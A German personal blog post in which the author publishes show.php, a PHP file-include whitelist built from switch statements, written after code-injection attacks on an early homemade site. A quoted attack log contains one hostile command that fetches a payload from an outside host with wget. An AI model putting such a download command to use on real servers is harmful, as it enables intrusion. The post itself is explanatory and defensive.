show.php - mu21.de pre-web 2.0-Standard…
…das Herzstück - oder: Codeschnipsel 1 der o. g. Version:
Wie bereits früher erwähnt, führte ich bereits (unbewusst) Anfang 2003 den so genannten pre-web 2.0-Standard auf meinen www-Seiten ein (im weiteren Verlauf bezeichnete ich dieses Codierungsverfahren zwar als Versionsnummer 3.0 (zumindest bei der Schwedenreise) - aber vielleicht war ich dabei der Zeit einfach ein bisschen voraus ;-)).
Nun veröffentliche ich sukzessive den Code des Grundgerüsts meines damaligen “CMS”.
Zuerst - das Herzstück der damaligen Seite: show.php:
Anfangs, als das www noch nicht so böse wie heute war, benötige ich die Datei show.php in der vorliegenden Form innerhalb meines “News-Systems” noch nicht. Damals war show.php alleinig dafür zuständig den Seitenaufruf in der Form “index.php?dir=Verzeichnis&file=Dateiname” (sei er vom Benutzer oder eben dynamisch generiert) zu übersetzten und den richtigen Rückgabewert für index.php zu liefern. Mit der Zeit häuften sich jedoch Angriffe der Art:
> Hostname: mu21.de
> Aufruf: wget -O /tmp/a.out http://www.b00gle.com/cli.gz
>
> pwd: mu21.de
>
> env:
> PWD=mu21.de
> XPS__REMOTE_ADDR=[bekannt]
> XPS__REQUEST_METHOD=POST
> XPS__REQUEST_URI=/
> XPS__SCRIPT_URI=http://www.mu21.de/
>
> Remote-Hostname: [verschiedene]
Diese ließen auf Code-Injection (d.h. es war eine Sicherheitslücke gegeben, mit der es potentiellen Angreifern möglich wurde ihren (fremden) (Schad-) Code einzuschleusen und auch auszuführen, XSS) innerhalb des damaligen index.php schließen. Also habe ich den Code innerhalb von index.php mit mehreren switch-Anweisungen in der Datei schow.php abgesichert.
<?php
if(empty($file)OR empty($dir))
{
chdir("/mu21.de/news");
include("shownews.php");
}
else
{
switch ($dir)
{
case "schwedenreise":
switch ($file)
{
case "schwedenreise.php":
chdir("/mu21.de/schwedenreise");
include("schwedenreise.php");
break;
case "vaettern.php":
chdir("/mu21.de/schwedenreise");
include("vaettern.php");
break;
case "vaenern.php":
chdir("/mu21.de/schwedenreise");
include("vaenern.php");
break;
case "stockholm.php":
chdir("/mu21.de/schwedenreise");
include("stockholm.php");
break;
case "vimmerby.php":
chdir("/mu21.de/schwedenreise");
include("vimmerby.php");
break;
case "halmstad.php":
chdir("/mu21.de/schwedenreise");
include("halmstad.php");
break;
case "goeteborg.php":
chdir("/mu21.de/schwedenreise");
include("goeteborg.php");
break;
case "party.php":
chdir("/mu21.de/schwedenreise");
include("party.php");
break;
}
break;
case "FH":
chdir("/mu21.de/FH");
include("index.php");
break;
case "links":
switch ($file)
{
case "index.php":
chdir("/mu21.de/links");
include("index.php");
break;
case "anmelden.php":
chdir("/mu21.de/links");
include("anmelden.php");
break;
case "mail.php":
chdir("/mu21.de/links");
include("mail.php");
break;
}
break;
case "feedback":
switch ($file)
{
case "feedback.php":
chdir("/mu21.de/feedback");
include("feedback.php");
break;
case "submit.php":
chdir("/mu21.de/feedback");
include("submit.php");
break;
}
break;
case "dns":
chdir("/mu21.de/dns");
include("index.php");
break;
case "imprint":
chdir("/mu21.de/imprint");
include("index.php");
break;
case "Home":
chdir("/mu21.de/Home");
include("webmail.php");
break;
default:
chdir("/mu21.de/news");
include("shownews.php");
break;
case "v2":
chdir("/mu21.de/v2");
include("index.php");
break;
}
}
?>